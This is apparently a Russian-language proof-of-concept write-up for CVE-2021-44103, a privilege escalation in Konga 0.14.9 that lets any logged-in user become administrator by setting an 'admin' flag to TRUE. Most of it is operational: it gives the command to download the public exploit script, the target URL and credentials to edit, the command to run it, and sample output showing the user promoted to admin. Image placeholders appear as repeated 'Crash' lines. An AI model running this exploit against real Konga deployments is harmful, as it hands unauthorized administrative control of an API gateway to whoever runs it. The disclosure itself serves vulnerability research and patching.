CVE-2021-44103

Концепт-эксплойт для KONGA 0.14.9 — повышение привилегий.

Введение

16 ноября 2021 года Fabrício Salomão и я обнаружили уязвимость в Konga API Gateways, позволяющую любому аутентифицированному пользователю стать администратором.

Сообщение об уязвимости

Продукт: KONGA
Модель: 0.14.9
Уязвимость: повышение привилегий
Воздействие: полный доступ администратора (вертикальное повышение привилегий)
Аутентификация: требуется
Автор эксплойта: Fabricio Salomao / Paulo Trindade

PoC

Ниже создан обычный пользователь с именем "usernormal" без привилегий.

Crash

С помощью приведённого ниже запроса флаг "FALSE" в параметре "admin" был изменён на "TRUE".

Crash

Поэтому для нас был создан эксплойт: https://www.exploit-db.com/exploits/50521

Crash

После запуска эксплойта повышение привилегий прошло успешно!

Результат:

Crash

Запуск эксплойта

wget https://www.exploit-db.com/raw/50521 -O 50521.py

Edit 50521.py

Modify:

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga"            # change user
password = "changeme"                     # change password

Execute:

python 50521.py

[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success